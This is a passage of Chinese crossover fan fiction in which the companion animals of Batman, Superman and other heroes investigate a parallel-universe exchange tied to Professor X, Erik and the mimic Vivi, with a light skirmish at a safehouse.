它的体重对于馍馍来说不算什么，可蓬松柔软的毛毛却是致命一击，那样完美的触感，带着阳光的香味，温暖的仿佛午后的麦田，这样强烈的精神渲染，对于馍馍来说，同样具备其他东西无法提供的安抚效果。 随着馍馍的脸被小狐的软毛覆盖，攻击达米安的负面影响随之消失。 达米安看着那边，然后猛地扭头看向小乔。 “你身边一直潜伏着一只强大的精神控制生物，这件事情你知道的，对吧？” 小乔被他吓了一跳。 “你说小狐？不，它只是感染力很强，所有的伴生不都是这样的吗？” “所有的？” “对呀，小狐和斯诺都是这样，其他的也是……吧？” 小乔说着说着，突然不确定了起来。 说起来，蝙蝠侠的那只伴生，好像就没有这种特殊的感染力。 嗯…… 非要说的话。 恐吓……也算是某种意义上的……感染力？ 第47章 X学院。 布莱克打了个喷嚏。 非常响亮的那种。 不仅是边上蹲坐着的斯诺支棱起一侧的耳朵,连正在看书的薇薇也暂停了手中的工作，看向布莱克这边。 “兽医？”薇薇从脑子里扒拉出一个合适的词汇提出询问。 布莱克嫌弃的摇头。 根据科学喂养，现在可以吃零食了,薇薇拿出专门给狗狗的磨牙棒,以及给猫猫的小点心,斯诺两爪抱着磨牙棒啃,那是给大型犬用的,斯诺的嘴啃起来还真有点费劲。 布莱克低头看着自己面前盘子里的小点心。 那种夹心饼干似的东西, 肉香味, 很诱惑猫猫。 但，它太小了。 布莱克抬起头看向薇薇,舔了一下嘴。 比起这种小零食, 鸭嘴兽那个体型, 才是符合一只美洲豹的下午茶甜点。 薇薇感觉到它的威胁，默默打了个激灵。 “我去……厨房，看看。” 薇薇无比艰难的从口中蹦出几个单词,随后果断戴上兜帽，逃命似的迅速夺门而出。 斯诺抬头看着紧闭的房门，再看看布莱克，一边舔嘴一边问它：“汪呜？”你干嘛吓她？ 布莱克只是哼了一声，将面前的点心推给斯诺。 反正它们伴生动物的体质和普通小动物完全不同，巧克力、咖啡、奶油都是能吃的，给斯诺吃猫粮自然也没什么问题。 斯诺扫盘子的时候, 布莱克开始思考薇薇的事情。 这只鸭嘴兽的孵化者到底是谁？ 斯诺吃完了两人份的食物，抬头看布莱克还在那苦思冥想,叹了口气，它轻轻推开门跑出去,跟着气味来到厨房，找到两块不错的肉叼走。 它回到房间，将生肉放在布莱克面前的盘子里，看着大黑猫本能似的低头，大口炫肉。 那副脑子想脑子的，嘴巴吃嘴巴的模样，让斯诺哭笑不得。 “汪呜？”你很在意吗？ 听到斯诺的问题，布莱克这才侧头看向它。 “唔？” “汪！”我是说薇薇的事情。 布莱克看着这货，说：它可以完全拟态变成人类，我们和人类都无法通过正常手段发现，如果不是它自己性格内向露出马脚，也许我们永远不会知道，这个薇薇其实是只伴生动物，而不是人。 斯诺歪头看着布莱克，问：那很糟糕吗？ 布莱克：？ ？ ？ 大猫猫嘴角狠狠抽搐，忍着上去给这货一爪子的冲动，忍了忍，还是没忍住，用肉垫对着斯诺的脸拍了一下。 “哇呜？”要不要自己听听你在说什么？ “哇嗷嗷——？”这种事情不糟糕，什么事情糟糕？它甚至能拟态血亲的气息，完全伪装成另一个存在，这还不够糟糕吗？ 糟糕吗？ 斯诺真不觉得这是什么大问题。 薇薇很乖，完全是那种内向的好孩子。 斯诺不明白为什么布莱克会担心。 斯诺给它拍，有钢铁之躯无所畏惧，而且布莱克每次都只用肉垫拍，一点杀伤力都没有。 斯诺：“呜汪？”小乔考试睡觉不小心忘记答题结果拿回一张白卷还被叫家长？ 布莱克：…… 大猫猫在原地运了一会气，还是决定不气了，生气也没用，斯诺这货油盐不进的，生气也只能气坏自己。 想要了解薇薇的事情，还挺难的。 最麻烦的在于，唯一知道真相的很可能是这个世界的x教授，而他现在压根不在这个平行宇宙。 布莱克想了一会，突然想到一个可能性。 有没有可能，这个宇宙的X教授，其实是故意离开的？ 来自隔壁宇宙的年轻X教授看起来是什么都不知道的模样，那这个宇宙的X教授呢？是什么都不知道，完全出于意外进行了交换，还是故意为之，至少是顺波逐流呢？ 嗯？不对啊…… 布莱克突然反应过来。 自己被这件事情给绕晕了。 薇薇她本来就是从隔壁宇宙来的，不是吗？她和年轻的X教授来自一个宇宙啊！ 年轻的X教授真的什么都不知道吗？ 而且那个叫做艾瑞克的人类，似乎也知道什么。 虽然艾瑞克看起来是根据“机器人不能直接繁育血亲后代”得出薇薇并非是旺达和幻视的孩子，但这里有个异常。 那就是“血亲感”无法解释。 就算薇薇真的来自其他平行，那它作为旺达和幻视的血亲这件事情依然无法解释。 布莱克诈出薇薇不是人类，作为伴生动物的技能是拟态，这才解释了这份“血亲感”的来源，那本来就是薇薇虚拟的。 那么，为什么艾瑞克会认为，“薇薇来自另一个平行宇宙”能解释它出身不明的问题呢？ 除非这个人类知道，在另一个平行宇宙，旺达和幻视通过某种手段拥有了一个孩子，名字叫做薇薇。 而他选择隐瞒，只偶尔透露一点信息出来。 为什么？ 是属于这个宇宙的X教授委托他这么做的？还是他的自发行为？ 布莱克脑子里的小问号太多太多，多到它自己都觉得有些头疼的地步了，于是略微低下头，四爪撑地，做好准备，然后开始滚筒洗衣机式疯狂抖毛，以此来放松自己的神经，再给自己切换一下状态。 它得换个思路来想这件事情。 薇薇根本不是这个宇宙里的某个存在，它来自隔壁平行宇宙，大约一年前，薇薇因为不明原因的突发交汇掉到他们的宇宙中来，而这个宇宙的X教授接受了它，决定保护它，让它留在X学院学习成长。 也就是说，X教授认为它是可以相信的。 这又是为什么呢？ 是因为读心能力吗？ 所以才能去相信一个能模拟成人类的异界来客？ 而且，两个平行的X教授之间进行的交换，从结果上来看，任何一个平行宇宙里依然只存在一个X教授。 那么，薇薇是什么情况？ 是不是在这个宇宙里也有一个“薇薇”被交换走了？ 布莱克隐约觉得，自己好像抓到了那个重点。 “喵？”你觉得，我们的平行中存在薇薇对应的同位体吗？ 布莱克问斯诺。 它需要直球汪简单明了的思维模式。 斯诺想了想，摇了摇头：“唔汪？”都有可能？如果这种跨越平行宇宙的意外必须是同位体进行交换，那就肯定还有一个薇薇存在，如果它是完全随机的，那就不一定了。 所以必须搞清楚这件事情。 “喵嗷。”我们去找那个叫做艾瑞克的人类。 布莱克有了决定。 斯诺也不问它为什么做了这个决定，只是起身撑了个懒腰，然后抖了抖毛，迅速精神起来，“汪”的叫了声。 两只小动物的嗅觉都极其敏锐，不用去询问任何人，它们跟着气味一路往上。 天台。 布莱克和斯诺找上来的时候，那名叫做艾瑞克的人类正在眺望远方。 顺着对方的视线看过去，能看到一个类似于什么信号发送器一样的巨大东西。 布莱克不清楚那玩意的具体叫法，只知道是个笨重的金属。 它们两只蹲在艾瑞克的身旁，陪他看着那个方向发了一会呆。 猫猫大脑放空，然后开始犯困，跟着打了个哈欠。 老人这才低头看这只大猫。 “喵呜。”布莱克冲他叫了一声。 理论上，艾瑞克听不懂伴生动物的语言，他不是孵化者，但艾瑞克似乎知道它们是为何而来。 “你们是自己想知道答案，还是受他人委托，来找我的？” 艾瑞克问它们。 苍老的面容，眼珠都泛着浑浊，布莱克却能从中看到智慧的光芒，以及杀伐果断的戾气。 “哇呜。”是我们自己哦。 布莱克有些好奇，在无法语言沟通的情况下，如果自己不提供额外的肢体语言，这人要如何理解自己想要表达的内容？ 就算是达米安那样的动物语言大师，很大程度上也是通过解读动物的肢体语言来理解对方想要表达的情感，而现在布莱克只是坐在这里，倦倦的，看起来就是只吃饱喝足的慵懒大猫，完全没有额外的情绪表现。 这人几乎是立刻就看透了大猫的心思。 艾瑞克无声的哼笑。 “答案并不重要。” 不管是哪种情况，该做的事情都要去做。 布莱克看着这名老者，不再发出声音，斯诺也安安静静的，听这人传递一份信息。 “我假设你们知道同位体的存在，如果不知道也没关系，把这个信息传递出去，你们即将选择的对象肯定能理解正在发生的事情。” 它们能选择谁呢？ 无非就是超人和蝙蝠侠罢了。 布莱克眯起眼睛，心情略有些不佳。 听起来艾瑞克确实不知道事情的具体情况，只是受到委托来传递一些信息，而他那仿佛知道很多的模样，本身是因为他自身的博学，以及漫长人生中积累的经验，才让他表现的那么从容，仿佛一切尽在掌握。 以及，这家伙传递的信息，不是要告诉它们。 刚才那个问题毫无意义，它们是受人指使，或者自己想来询问，这两者不会有任何区别，艾瑞克所要传递的信息终会落入需要知道这件事情的那人耳中。 它们只是传递者，一个运输信息的媒介。 第48章 同位体大概是指, 在两个平行宇宙中相等的存在。 这个“相等”，并未意味着他们是一个人。 而更接近于某种功能上的相近，他们在各自的世界中担任着同样的“职位”。 残酷的说,对于世界,对于命运,所谓人这种个体,不过是一种工具,而人性的魅力和随机性,也不过是命运自娱自乐的一种玩具罢了。 布莱克看着这个叫做艾瑞克的人类,摇头。 命运可控制不了人类。 人类才能控制人类。 看看蝙蝠侠吧。 命运看到那货都会头疼的。 怎么会有人生来就该是某个样子，去走某条道路…… 人这短暂如流星的一生, 只为了某件事情而生…… 布莱克盯着面前的人。 它不认同这件事情。 “汪。” 这时, 斯诺突然叫了一声。 那是一声没有具体含义的单纯的汪汪,布莱克的思考被这突然的一下彻底打断，眼底的阴霾都散去不少，大猫猫回头看着狗狗,低声“呜”着问：什么事情？ 你最好有事。 斯诺歪头看着布莱克。 “汪呜？”那有什么不好的？ “喵？”什么？ “汪~”为了某件事情，为了某个人而生，这有什么不好的？ 说着，斯诺还快乐的摇了摇尾巴。 “汪汪~”我就是为了超人而生的，我也选择了这个，有什么不好的？ 布莱克：…… 大猫猫看着这只傻缺狗勾。 “喵呜——”那是因为命运给你的路正好是你自己喜欢的，如果不是呢？那你该怎么办？ “汪！”走我喜欢的路, 那就是我命中注定的路！ 斯诺的回答十分响亮，从声音里能听出它清澈的快乐。 布莱克再次沉默。 斯诺问它：难道你不喜欢蝙蝠侠么？ 布莱克：“喵嗷！”当然, 不喜欢！ 斯诺又问它：那你怎么不走呢？他允许你自由外出，只要愿意,你肯定能找到远远离开哥谭的机会，为什么还要回去呢？ 布莱克：…… 就这么走掉的话，阿福会担心的吧。 家里也免不了再次陷入争吵。 那一家人的关系并不稳定，布莱克只是通过蝙蝠洞内的气味就能判断，很多孩子很少回来，回来的时候也都带着硝烟和斗争。 这一家人好不容易因为小动物的出现而聚集在一起，稳定的生活了一段时间。 家变得像一个家，他们会一起吃早饭，一起谈论昨天的新闻，一起聊天，一起玩一点篮球之类的运动游戏，或者一起去家里的图书馆看书。 布莱克永远记得，那天它趴在图书馆门口附近的软垫上舔毛，这是阿福给它准备的，几乎每个房间都有一个。 舔着舔着，布莱克感觉到阿福走了过去，就站在自己身旁。 他的脚步轻到完全听不见，呼吸也放得额外缓慢。 布莱克感到疑惑，就顺着阿福的视线看去，看到杰森靠在窗台上看书，才诞生不久的捷克狼犬趴在杰森脚边午睡，身体微微起伏，大概也是注意到阿福，它抬了一下眼皮，见没有特殊情况发生，就合眼继续睡。 而在不远处的桌子边，布鲁斯正在翻阅一些资料。 他们都穿着家常服装，时不时地低声交流两句，讨论捷克狼犬的名字。 杰森更中意一些富有寓意的名字，它们可以在一些故事里被找到，而布鲁斯则认为，简单一点比较好，太有辨识度并不是个好事情。 布鲁斯的表达并不强硬，杰森的拒绝也是懒洋洋的。 兴致上来了，他们开始讨论书中的故事。 可以听出来布鲁斯虽然博览群书，但真的不是个文艺的性格，杰森大方的笑他的理解是教科书式翻译。 布鲁斯不赞同的看着这货，脸上却是有笑意的。 那个时候的他们，看来就像是…… 一对父子。 布莱克再回头看阿福。 它不太确定。 它觉得自己好像嗅到了泪水的咸涩味道。 午后的图书馆宁静祥和，而这份宁静的画面美好又脆弱，任何一点小小的变化都可能打破这份安宁。 布莱克并不想成为那个变化。 “喵呜。”布莱克不满的叫唤：蝙蝠洞里住的又不只有蝙蝠侠。 斯诺“啪啪”的摇着尾巴，摇出了破空声：看！你也是在走自己的路，自己的选择，不是么？你找到了自己想要保护的人，并且为了他留在蝙蝠洞，那和命运又有什么关系。 这话说的倒也没错。 但斯诺那副快乐的模样，就是让布莱克超级不爽，尤其是配合上疯狂摇尾巴的破空声，吵的猫猫脑壳疼。 大猫猫抬起厚实的大爪爪，用肉垫给狗头按了下去。 斯诺给按但不低头，还用脑袋往回顶。 于是布莱克干脆直起前身，两只前爪一起按。 可惜它就算是整只大猫猫爬上去，那重量对于斯诺来说，也不过是浮毛罢了。 年老的艾瑞克性子十分稳定，以一种爷爷的心态看着两只小动物闹腾，等到它们都停下，他才继续往下说。 关于薇薇的同位体，或者是同位体的薇薇。 具体怎么叫取决于它们自己。 现在已知的是，薇薇来自隔壁平行宇宙，因为一次交汇掉到了这里，这个宇宙的查尔斯收留了对方，并从对方口中了解到平行宇宙交汇的秘密。 艾瑞克认为查尔斯已经完全掌握了这个秘密，因此在第二次交汇发生的时候，和另一个平行宇宙的自己做了交换。 “这是一种非常刻意的行为，他的脑子里，藏着某个秘密。” 而艾瑞克要告诉它们的，就是这个秘密本身。 “下一次交汇的时间，就在今天晚上。” 布莱克：？ 大猫猫看着艾瑞克，无声质问：然后呢？ 具体时间，还有地点。 什么细节都没有，这不是约等于什么都没说吗？ “喵呜。”布莱克冲着面前的人类发出嫌弃的叫唤声。 这有什么意义呢？ 艾瑞克没有回答它的问题，也根本听不懂布莱克在喵喵什么。 他就这么走了。 留下喵和汪对脸懵逼。 “汪呜？”什么意思？ “……” 布莱克忍着对斯诺翻白眼的冲动，开始思考。 首先是同位体。 艾瑞克给它们提供了一个特殊信息，同位体不一定是本人，虽然有像两个X教授那样，虽然年龄对不上，可他们都是X教授的情况，却也会有两个同位体并不是同一个人的时候。 “汪呜？”他的意思是，被换走的，可能不是薇薇？ “喵。”那人可没有说交汇一定会换走一个，只表达了我们宇宙的X教授是特意进行了交换，而另一个平行的那个年轻的查尔斯选择了配合，可他是否在交汇之前便已经知情？那个叫艾瑞克的人类可没讲清楚。 布莱克烦得很，人类就喜欢神神叨叨的。 谜团就像是毛球，到处都是。 “……” 等等。 谜团？ 这事情是不是有一个很简单的解决办法？ “喵？？”你能现在把我带去伦敦吗？最好是一眨眼就到的那种？ 斯诺脸平平的。 “汪……”这次给我一个准确的地址哦，高速状态下刹车可是很困难的。 “汪呜汪？”而且薇薇怎么办？ “喵。”先放在这里不管它，既然年轻的X教授也愿意庇护它，自然会对它负责，它在这里安全稳定，不需要太过担心。 斯诺只能再翻出大大的篮筐，让布莱克跳进去。 它们要去寻找奇迹。 布莱克不知道奇迹的地址，但它知道另一个能直接呼唤出奇迹的家伙。 星期五。 …… 伦敦。 这边正好是夜晚，而且因为天气缘故，云层遮蔽了月亮，就显得地面上额外的黑。 路灯没有覆盖的区域几乎是伸手不见五指的程度。 在这夜色的掩护下，斯诺带着布莱克飞到贝克街221B的门口，礼貌的按了门铃。 来开门的是华生。 华生还没见过斯诺，但他认识布莱克。 问题是，华生记忆中，这是布鲁斯·韦恩的黑美洲豹。 不是蝙蝠侠的。 所以斯诺介绍自己是超人的伴生动物，并和布莱克是同事关系的时候，华生将这视作一种作证，证明布鲁斯·韦恩与蝙蝠侠关系非比寻常的线索。 坐在自己那把单人沙发椅里，享受着发呆时间的夏洛克·福尔摩斯因此抬眼，他手上有一下没一下的撸着怀里手感完全异常于正常水豚，皮毛额外柔软顺滑的卡皮巴拉，浑身上下只有眼球往华生那个方向转动少许，他看华生的眼神，就像在看一颗南瓜。 卡皮巴拉被他撸睡着了，在他怀里睡得四仰八叉的。 星期五就蹲在夏洛克脚边，神色阴冷的盯着夏洛克不放，一副要吃人的模样。 夏洛克毫不在乎。 “汪。” 斯诺向他们提出想要借一下星期五的请求。 夏洛克表示自己无所谓，并告诉华生：“看，我就说了它是个杀手。” 华生警告了他一下，然后给小动物们端上饼干和清水，对于斯诺的邀请，华生并不反对，而这件事情似乎并不需要星期五真正的孵化者夏洛克的同意——星期五压根不听夏洛克的。 “你想去吗？想去的话，嗯……我给你准备一点零食？” 华生似乎将此理解成了郊游。 而这段时间相处下来，华生已经将星期五和卡皮巴拉视为家庭成员，自然会考虑到它们和小伙伴一起出去玩时候的衣食住行问题。 星期五摇了摇头，并对华生甩了好几下尾巴。 然后带着斯诺和布莱克下楼，避开人们的视线，它们来到221B后方无人的小巷子里。 “汪。”其实你们不必来找我。 星期五告诉它们：奇迹已经发生了。 布莱克和斯诺面露疑惑。 星期五又扭头对斯诺汪了一声：在你的孵化者找来之前，你先跟我呆在一起吧。 第49章 布莱克和斯诺互相看看。 这星期五怎么跟人类似的,说话神神叨叨，让猫猫狗狗听不懂。 至于召唤奇迹的事情，星期五也拒绝了, 表示它们并不需要奇迹, 还是那句话：奇迹已经发生了。 随后星期五昂起头。 蝙蝠侠率先落了下来,他收拾绳枪的功夫里,超人跟着落在他身旁。 布莱克：…… 它好想吐槽为什么不一起落下来,分个先后有种欲盖弥彰的诡异美感,但考虑到蝙蝠侠那个敏感多疑的性格,布莱克选择不去讨论这件事情。 “哇呜。”他说的是晚上，这边和那边的时间不一样, 还没到晚上。 布莱克冲着蝙蝠侠叫唤。 因为跨越的时区太多, 他们要重新思考“晚上”的问题。 蝙蝠侠却说不用。 “他说的就是这个晚上。” 斯诺一直知道超人和蝙蝠侠跟在它们身后,它能听到，也能看到，布莱克也早就知道这两人始终跟着它们,从那两只亚成年幼崽离家开始，超人就带着蝙蝠侠在云层上方远远的跟着，也是因为距离足够的远，他们没中林间小屋里那只食梦貘的催眠。 再加上超人的超级听力，这一路上发生的事情，这两人应该是全部知晓了。 蝙蝠侠从万能口袋里掏出一个遥控器似的长方盒子，他解释这是一款用来检测空间稳定性的检测器,然后将它对准了布莱克，盒子立刻开始“哔哔”的叫唤,蝙蝠侠又将它对准了斯诺，盒子这次完全静默。 对着超人也是静默的。 对着蝙蝠侠也是。 布莱克：“喵呜？”什么意思？ 刚问完它就反应了过来。 “喵？”这次平行交汇, 要被交换过去的是我？ “对。”蝙蝠侠纠正它，“但不一定会发生交汇，薇薇的同位体并未被换过去。” “喵嗷？”你知道薇薇的同位体是谁了？ 蝙蝠侠“嗯”了一声，没有详细说明的意思。 布莱克脑门上猛地蹦出一根青筋。 单就对孵化者的炸毛程度这一方面，布莱克是完全能够理解星期五的，它偶尔也会想要一口咬断自己孵化者的脖子。 特别是这种时候。 星期五在旁边围观。 奇迹交给它的工作已经完成，接下来是自由时间，卡皮巴拉被夏洛克占据，星期五也就不急着回221B ，它决定在这里再看一会戏。 如果打起来的话。 那就是蝙蝠侠大战蝙蝠喵。 不知道超人和超人汪会不会插手。 那样的画面可不多见，星期五不打算错过。 就是可惜他们最后没打起来。 布莱克只是将头扭到一边，然后原地转过身体，它选择背对蝙蝠侠，原地坐下，以此来表达自己的情绪。 蝙蝠侠看向超人。 超人“呃”了一声，无奈摊手。 他不出声，只用唇语告诉蝙蝠侠：布莱克这是有点小情绪了。 漆黑色的大猫猫撸起来手感极佳，真的特别、特别的带劲，超人可不想得罪布莱克，若是因此而在日后失去随时撸到大猫的特殊权利，那岂不是得不偿失。 他可以帮蝙蝠侠分析猫猫的心理，至于如何哄猫猫回心转意，那就是蝙蝠侠的工作了。 不过，当然，蝙蝠侠压根没打算哄猫猫。 什么回心转意。 爱怎么样就怎么样。 蝙蝠侠对自己都是有委屈先忍着，凡事都以公事和任务为重。 布莱克也知道这货是什么尿性，压根没指望对方。 蝙蝠侠开始从万能口袋里往外掏东西。 据说是某种可以跨越平行进行沟通的道具，但因为没有真的试验过，所以效果暂时不知道。 布莱克：？ 大猫猫侧头拒绝了这玩意，并用眼神询问这是什么鬼东西。 为什么会有这种东西？ 难道在薇薇和X教授之前就有人进行过平行交汇？ “那不是平行交汇，平行交汇是自然现象，之前那次是人为的，是某个科技水平较高的负面平行宇宙刻意为之，他们制造了能够跨越平行壁障的传送门，专门去其他平行宇宙找麻烦，而我们也是他们的目标之一。” 这次蝙蝠侠倒是作了说明，并一边说，一边捞过大猫猫的脑袋，将记录仪和通讯器一体的装置套在它的脖子上。 “不过他们到了我们宇宙，也算是踢到了块铁板。” 虽然科技之间有所差距，可他们这个宇宙却是已知的所有平行宇宙中超级英雄最多，能力最繁杂，且无限可能最难以估量的那个。 斯塔克很快就破译对方的科技，化为己用的同时偷偷给大家的装备升了个级。 蝙蝠侠也获得了大量情报。 可惜因为缺乏关键建设材料的缘故，他们无法做出跨越平行的机器，那个材料在敌人的平行宇宙存在，在他们这边却毫无踪迹。 只能先用这个试一下了。 “哇呜？”你不会还指望我顺手帮你找一下材料吧？ “不用你，这个设备会自行记录。” 布莱克：…… 大猫猫唰的一下耳朵后摆，瞬间飞机耳了。 “咳。”超人急忙咳嗽，提醒蝙蝠侠撩猫需谨慎，别玩的太过分。 蝙蝠侠这才微妙的哼了一声，暂时停嘴。 他将特制的黑色项圈固定在美洲豹的脖子上。 布莱克活动了一下脖子，意外的没感觉到多少禁锢，这东西材料特殊，加入纳米科技，可以在布莱克活动的时候及时调整，最大限度的减少存在感，而且自身又足够的轻薄纤细，蝙蝠侠帮布莱克整理好脖颈的毛，项圈就被同色的毛覆盖，完全看不见了。 “感觉怎么样？”超人问。 布莱克原地转了一圈，然后向后转头，又略微摆了一下尾巴。 “喵。”还可以。 因为这东西的存在感太弱，而且完全不会产生脖子被勒住的感觉，布莱克就勉为其难接受了这东西的存在。 仅限于这次任务中。 接下来，他们只需要静待交汇的发生。 不过布莱克心中依然有所疑问。 为什么是自己呢？ 命中注定？ 大猫猫发出一声冷哼似的笑声，以此来表达自己的嘲讽。 它依旧不相信命运。 布莱克偏开脑袋看向角落，原本蹲在那里的星期五已经没了踪影，也许是发现这里没戏可以看，就回221B去了。 大概是继续努力，和夏洛克抢夺吸卡皮巴拉的权利吧。 …… ………… 林间小屋。 达米安因为之前的攻击受了点精神创伤，裹着毯子窝在单人沙发里小憩，小乔就坐在沙发扶手上，靠着靠背侧面，看护达米安的同时也能给自己的小伙伴提供安全感。 馍馍也睡着了，这对旺达来说不是一件好事情，她的负面情绪还在继续蔓延，没馍馍持续吞噬就会在短时间内堆积成山。 好在之前馍馍吃的足够勤快，现在睡一会，问题也不会太大。 旺达似乎知道什么，在馍馍入睡的这段时间，她强行让自己也进入睡眠状态。 幻视则陪着她。 “汪。”在你们远行的时候，其他人可以交给我来照顾。 “嗯？远行？”彼得还以为是小狐在叫，就去看小狐，发现小狐还在馍馍的婴儿床里睡成一滩，根本没有醒来。 那是谁在叫？ 彼得一个激灵，他迅速去找，并在墙角看到那团黑乎乎的东西。 “星期五？” 星期五没吭声。 奇迹从星期五的阴影里走了出来。 “汪。” 奇迹又叫了一声，这次的叫唤没有具体意思，只是表达一下，刚才发出叫声的其实是它，不是星期五。 “等等，什么照顾？照顾谁？” 也不知道是不是最近和那个说话总是自然打码的朋友交流的太多，彼得发现自己对抽象事物的接受能力越发强悍。 面对奇迹的突然出现，他第一个反应居然是…… 毫无反应。 甚至都没觉得突兀，或者至少该去问一下是不是发生了什么。 肯定有某件事情悄悄发生了。 奇迹也好，星期五也好，都不打算跟他说明白。 行吧。 不说明白也可以。 但至少把要做什么这一段讲清楚吧？ 彼得的要求真的不高。 奇迹：“汪。”你和我们一起，照顾他们所有人和动物。 彼得：……？ 奇迹：塔塔和锈斑猫除外。 彼得：？ ！ ！ ！ “等等！你最好说的不是一会有什么不可抗力会将锈斑猫和塔塔带走，反正都做不了什么，不如在这里一起等个结果这种事情？！” 奇迹惊讶于蜘蛛侠居然猜到了。 虽然没有凭空就猜到事情的真实情况，却将即将发生的事情描述的八九不离十。 “汪呜……？”你怎么知道的……？ “你把我们丢过来，是为这里带来奇迹，塔塔和锈斑猫为幻视先生提供了治疗，但这太刻意了，就……非常人性化，我猜这是奇异博士的委托。” 奇迹点了点头，蜘蛛侠说的没有错。 “但这解释不了为什么要把我也丢过来。” 完全可以只传送塔塔和锈斑猫，当时他们三个虽然在一起战斗，却也不是互相粘着不放，让奇迹找不到任何时机单独传送的状态。 “而我在这里，所以我想，是不是有什么必须要我来做的事情？” 奇迹点了点头，然后看向外面，只是短暂的一眼，彼得的蜘蛛感应也随即炸开信号。 “塔塔。” 彼得伸手，塔塔立刻向他跳过去，进入战斗准备中，而锈斑猫也从休息的小垫子上站起来，一跃而起，往彼得身边去。 就在这时奇迹突然开启传送门。 哗啦—— 塔塔和锈斑猫就这么在众人面前失去了踪迹。 彼得愣住。 奇迹：“汪呜。”交汇即将发生，我需要将它们送出这个屏障，在正确的时间流速下它们才能安全的经历交汇，而不是像薇薇那样受到创伤，连自己是为了什么而来都忘了。至于这里的问题，我们能够解决，它们不在也没有关系。 彼得看着奇迹，为它刚才那段话中巨大的信息量而震惊。 外面响起了巨大的轰炸声。 钢铁机甲划过天际，发射的炮弹与武装直升机射出的弹药撞在一起。 “抱歉，这是我们家的度假村，暂不欢迎外来人士。” 斯塔克的声音从机甲中传来。 绿巨人不知道从哪里扑过来砸在直升机上，像是在摔打不再喜欢的玩具那样，轻轻松松将直升机粉碎。 后面还有更多的敌人，子弹却只能让绿巨人更加愤怒，愤怒是他的力量，让他更加强大。 但麻烦的是敌人中还有魔法的影子。 这时候哈瑞肯从窗户飞进来，它浑身裹着冷冽的风，不规则的气流将周围的东西刮得东倒西落，它已经在控制了，那股力量却依然过于强烈，直到它落地，那风里才终于略有消减。 看到屋内这么多人和动物，哈瑞肯愣了一下，但还是立刻冲他们叫唤。 “啾——”快走快走！那些人来抢馍馍了！接应的车就在后门，立刻转移！ 后门处，史蒂夫和巴恩斯刚清理了一队试图潜入偷人的机动部队，他们将运送用的防弹车停在后院外头，等他们上车就能一脚油门冲出去。 第50章 塔塔和锈斑猫被传送的时候就是懵的。 直到落地也没反应过来。 主要是, 刚才意外落入传送门的那一瞬间，塔塔觉得自己分明看见传送门外面就是一片森林而已。 怎么这一落地，毫无预兆的变成了海滩？ 爪子扒拉着身下的沙地,塔塔在发楞。 它是水獭, 不是海獭。 不要为难塔塔！ 锈斑猫却立刻发现了什么,抬头看向不远处。 那里有一抹漆黑的影子,沿着海浪在沙地上抹出的那条湿润的浪线缓缓前进,朝它们这边走来。 塔塔也看到了那个黑色的影子, 并立刻认出了对方。 “嘤嘤！”哥谭的大黑猫！ 原来是布莱克。 “嘤嘤嘤嘤？？”你怎么在这里？我们又怎么会在这里？你知道发生了什么吗？ 塔塔是一点都不怕布莱克这个漆黑的大家伙,直接跑过去，踩着白白的柔软沙地,蹦跶到布莱克脚边绕圈圈。 布莱克停下步伐, 免得不小心一脚踩扁这只水耗子。 它没有回答塔塔的问题, 而是看向锈斑猫。 锈斑猫看着它。 眼神交汇时，锈斑猫意识到，布莱克是知道些事情的。 “哇呜。”布莱克感觉到锈斑猫的打量,叫唤着让它不用想那么多，自己确实比它们知道的多一点，但也只是一点点而已，并不能帮上什么忙。 不过它还是愿意分享自己所知道的。 于是锈斑猫和塔塔知道了关于平行交汇的事情，也知道了有些人类在等待这次交汇。 “嘤？”我们是被选定要进行交换的对象？ 塔塔似乎不能理解这个，嘤嘤叫唤着追问：为什么是我们呢？命运选择的？能改变吗？可你也说了那个叫做X教授是自己选择的？ 嘤嘤嘤：那到底是选到谁就是谁，还是可以改变的呢？ 水獭和它的孵化者一样话痨。 布莱克看着眼前喋喋不休一堆问题的水耗子,越发觉得这货皮薄馅大，特别美味。 美洲豹默默闭上眼睛, 说服自己这不是储备粮。 锈斑猫也有些问题：“喵？”我们现在是在某个平行宇宙中？ 总算是有一个布莱克知道答案的问题了。 布莱克点了点头。 锈斑猫又问：是X教授也在的那个平行吗？ 这个问题让布莱克略微愣住，随后意识到这确实是个好问题。 人类怎么能确定,两次交汇的平行都是同一个呢？ 顺着这个思路往下思考，布莱克突然意识到， X教授的行为不太正常。 这也太冒险了。 就算每次交汇的角色可以选择，可若是双方的平行不再进行交汇，两个X教授岂不是永远无法换回各自的世界？ 这样想的话，他们的行为就是纯粹的疯狂。 它们都没有见过自己宇宙的X教授，布莱克就蹲在那里回忆那名年轻X教授的性格，以它在哥谭生活中学会的辨识经验来看，那人给布莱克的感觉是儒雅随和的，而且有种特殊的温和感，不像是会突发恶疾的类型。 反而是那个叫做艾瑞克的人类。 虽然有着属于老者的从容，却又透着果干凶狠，特别像个会在急眼时原地发癫的家伙。 倒不是说两种类型的人谁更好或者更坏，只是猫科因为自身性格敏感的缘故，更喜欢情绪稳定的人一些。 而老艾瑞克那隐藏在岁月折痕下的攻击性，如同藏在影子里的捕猎者，让猫猫警觉。 总而言之， X教授选择了交汇，那么多半是有什么特殊原因的。 哪怕年轻的X教授说了那是一时兴趣，可布莱克还是很怀疑。 它认为，一时兴起的只是年轻版的什么都不知道的X教授，而老查尔斯很可能是因为某种特殊问题，判断这次交换是有必要的，而且需要发生在两个平行宇宙的X教授身上。 因此，布莱克几乎直觉的肯定，X教授就在这里。 它将推想分享给锈斑猫和塔塔。 “嘤嗯？”塔塔觉得布莱克的想法很有道理，并提议：我们去找X教授吧！ 这也是布莱克的计划。 锈斑猫也点头认可。 三只小动物一拍即合，唯一的问题就是：X教授在哪？ 它们对这个平行宇宙一无所知，唯一能确定的是，每个平行宇宙之间都有区别，或大或小，而且每个同位体之间也很可能毫无关系。 原本对它们有善意的人在这里也不再可以相信。 “嘤……？”这个宇宙的小叽居也不可以相信吗？ 布莱克哼哼，告诉水耗子：这个宇宙的蜘蛛侠很可能压根不是它的小叽居。 这话吓到了塔塔，水耗子愣愣的，它还没能完全弄明白平行宇宙的理论和逻辑，无法理解如果蜘蛛侠不是小叽居，那是个什么情况。 锈斑猫横在塔塔和布莱克之间，对布莱克哈气，警告布莱克停止刚才的行为。 显然，它很不满意布莱克故意吓塔塔的行为。 但它也没有去安慰塔塔。 锈斑猫心里清楚布莱克说的没有错，塔塔必须意识到这点，并且学会不再相信那些在它们的宇宙中原本亲切的同伴。 对它们来说，所有的人，都是陌生人。 塔塔立着，用两只前爪抱着自己的肚皮，神色迷茫不安，它想了想，还是决定要去看一看那个人。 “嘤嗯。”我想去找这个世界的小叽居。 